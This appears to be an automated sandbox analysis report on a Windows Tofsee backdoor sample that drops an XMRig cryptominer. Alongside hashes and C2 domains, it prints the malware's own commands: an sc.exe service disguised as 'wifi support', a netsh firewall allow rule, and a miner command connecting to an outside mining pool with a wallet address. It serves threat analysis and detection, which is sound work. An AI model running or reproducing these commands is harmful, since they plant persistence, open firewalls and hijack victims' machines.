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Analysis

  • max time kernel
    151s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/12/2022, 20:27

General

  • Target

    file.exe

  • Size

    192KB

  • MD5

    911647ce6826d410a80da55024518d9f

  • SHA1

    a49ce6f4e31271bbe9a143fbb9070e1762af26dd

  • SHA256

    7a5d072a81edb0fa296dd1e1329915d00b1fd891ccbacac75f382b753951e888

  • SHA512

    60aa1d051c3b09c57bf925566f78b848be8ec2d5aa18d2f251ed0a53a929d33af26a384021c8b5251c21a645a1c2b9f3cd44facfa45062d7975a7729ef40eef3

  • SSDEEP

    3072:4NbwXahIq1sQXuGIJ5b+vOWU/zRpoPY6oGd7CDwpjRs9E3AZxpR/rNY:4/1sQXuGODWyRpoPYoeDpvpZN

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1308
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tijichik\
      2⤵
        PID:4336
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\orallhhe.exe" C:\Windows\SysWOW64\tijichik\
        2⤵
          PID:2580
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tijichik binPath= "C:\Windows\SysWOW64\tijichik\orallhhe.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3264
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tijichik "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3216
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tijichik
          2⤵
          • Launches sc.exe
          PID:3448
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4808
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 1340
          2⤵
          • Program crash
          PID:4180
      • C:\Windows\SysWOW64\tijichik\orallhhe.exe
        C:\Windows\SysWOW64\tijichik\orallhhe.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2320
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4344
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4368
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2320 -s 532
          2⤵
          • Program crash
          PID:3672
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1308 -ip 1308
        1⤵
          PID:396
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2320 -ip 2320
          1⤵
            PID:3132

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\orallhhe.exe

            Filesize

            13.4MB

            MD5

            29cbb0e872d36055468fd8de9fc011cd

            SHA1

            619a5a5b7292f32d917f5387ba80546a45b993f8

            SHA256

            4c49c6cd3db0abc9eaa8819900517ace9d990a5128782009c30c064ccc84e2e8

            SHA512

            0cc4aa4e4b876e5bf2599191c13cfe415d5756af84f03984e1adce37aaed16213caf9a19fbeca8de368d44e778b084d1f395d8ce364927807bc646bc9290031a

          • C:\Windows\SysWOW64\tijichik\orallhhe.exe

            Filesize

            13.4MB

            MD5

            29cbb0e872d36055468fd8de9fc011cd

            SHA1

            619a5a5b7292f32d917f5387ba80546a45b993f8

            SHA256

            4c49c6cd3db0abc9eaa8819900517ace9d990a5128782009c30c064ccc84e2e8

            SHA512

            0cc4aa4e4b876e5bf2599191c13cfe415d5756af84f03984e1adce37aaed16213caf9a19fbeca8de368d44e778b084d1f395d8ce364927807bc646bc9290031a

          • memory/1308-134-0x00000000001C0000-0x00000000001D3000-memory.dmp

            Filesize

            76KB

          • memory/1308-135-0x0000000000400000-0x0000000000466000-memory.dmp

            Filesize

            408KB

          • memory/1308-136-0x0000000000519000-0x000000000052A000-memory.dmp

            Filesize

            68KB

          • memory/1308-137-0x00000000001C0000-0x00000000001D3000-memory.dmp

            Filesize

            76KB

          • memory/1308-151-0x0000000000400000-0x0000000000466000-memory.dmp

            Filesize

            408KB

          • memory/1308-133-0x0000000000519000-0x000000000052A000-memory.dmp

            Filesize

            68KB

          • memory/1308-150-0x0000000000519000-0x000000000052A000-memory.dmp

            Filesize

            68KB

          • memory/2320-153-0x0000000000400000-0x0000000000466000-memory.dmp

            Filesize

            408KB

          • memory/2320-152-0x0000000000653000-0x0000000000664000-memory.dmp

            Filesize

            68KB

          • memory/4344-147-0x0000000001290000-0x00000000012A5000-memory.dmp

            Filesize

            84KB

          • memory/4344-162-0x0000000001910000-0x0000000001920000-memory.dmp

            Filesize

            64KB

          • memory/4344-171-0x0000000001A30000-0x0000000001A37000-memory.dmp

            Filesize

            28KB

          • memory/4344-154-0x0000000001290000-0x00000000012A5000-memory.dmp

            Filesize

            84KB

          • memory/4344-155-0x0000000001290000-0x00000000012A5000-memory.dmp

            Filesize

            84KB

          • memory/4344-156-0x0000000003040000-0x000000000324F000-memory.dmp

            Filesize

            2.1MB

          • memory/4344-159-0x0000000001900000-0x0000000001906000-memory.dmp

            Filesize

            24KB

          • memory/4344-165-0x0000000001A20000-0x0000000001A25000-memory.dmp

            Filesize

            20KB

          • memory/4344-168-0x0000000007F80000-0x000000000838B000-memory.dmp

            Filesize

            4.0MB

          • memory/4368-175-0x00000000001A0000-0x0000000000291000-memory.dmp

            Filesize

            964KB

          • memory/4368-180-0x00000000001A0000-0x0000000000291000-memory.dmp

            Filesize

            964KB